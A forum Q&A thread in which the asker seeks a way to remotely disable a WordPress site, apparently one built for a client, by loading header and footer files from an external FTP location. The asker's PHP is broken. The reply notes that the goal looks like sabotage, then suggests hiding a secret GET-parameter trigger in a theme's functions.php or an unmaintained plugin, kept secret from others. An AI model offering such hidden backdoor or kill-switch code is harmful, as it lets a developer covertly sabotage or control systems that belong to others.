Reputation: 1836
I want to control this website from external source. cubic.costflows.com
I am using this code:
<code>
<?php
if(file_exists(TEMPLATEPATH . 'local header link'))
{
include (TEMPLATEPATH . 'local header link');
}
else
{
$file = fopen("ftp header link from another location","r");
include(TEMPLATEPATH . $file);
}
?>
</code>
Implementing this code to my wordpress website i have it under control. I will not upload header and footer files onto my ftp but control them outside so that if it get's vulnerable i could delete those header and footer files from external links and the website wont be of any use. I could use any other suggestions too to achieve this goal.
Upvotes: 0
Views: 79
Reputation: 1030
It sounds like you're asking for a way to brick the website remotely if you get locked out by the account owner! My take away, is to hire IT professionals in a country where you can sue them, and never trust outsourcers with valuable data or access!
Oh and to answer your hateful question.... Just listen for a get variable, and stuff your code anywhere in a theme's functions.php file, or an active plugin that won't get updated.
if (isset($_GET['my_bad_codeword'])){
...the bad stuff you want to do
}
Then just browse to the site and add ?my_bad_codeword=ABC to the URL to activate. Don't tell anybody. ;)
Upvotes: 1